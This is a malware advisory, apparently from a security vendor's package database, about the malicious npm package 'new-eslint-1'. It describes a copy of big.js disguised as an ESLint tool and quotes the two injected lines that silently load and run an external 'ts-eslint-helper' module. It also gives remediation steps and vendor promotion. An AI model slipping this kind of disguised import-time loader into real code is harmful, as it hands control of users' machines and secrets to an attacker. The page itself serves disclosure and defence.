new-eslint-1npm
new-eslint-1 is a confirmed malicious npm package (MAL-2026-6225) that executes malicious code on install (malicious version 7.0.6). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in new-eslint-1 (npm)
What this malware does
Package is published as 'new-eslint-1' but its package.json description, README, repository URL (MikeMcl/big.js), and source are a verbatim copy of big.js v7.0.1 — there is no ESLint functionality. Two lines have been injected at module top level in both big.js and big.mjs (lines 605-606): const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. Because package.json declares "main": "big.js", any require('new-eslint-1') synchronously loads the external ts-eslint-helper package and invokes helper.from_str() in the consumer's Node process, with errors silently swallowed. The required module name (ts-eslint-helper) does not match the only declared dependency ([email protected]), so the loader is designed to fire when ts-eslint-helper resolves transitively or via a sibling install in a monorepo / polluted registry — and to fail silently otherwise, hiding the attempt from observers. This combines namespace deception (eslint-themed name + big.js disguise) with import-time arbitrary code execution under the control of whoever publishes ts-eslint-helper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
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Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint-1 (version 7.0.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint-1 across your stack and pipelines.
If you installed it — respond
Remove new-eslint-1 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If new-eslint-1 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks new-eslint-1 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Detect & block this
O3 blocks new-eslint-1-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.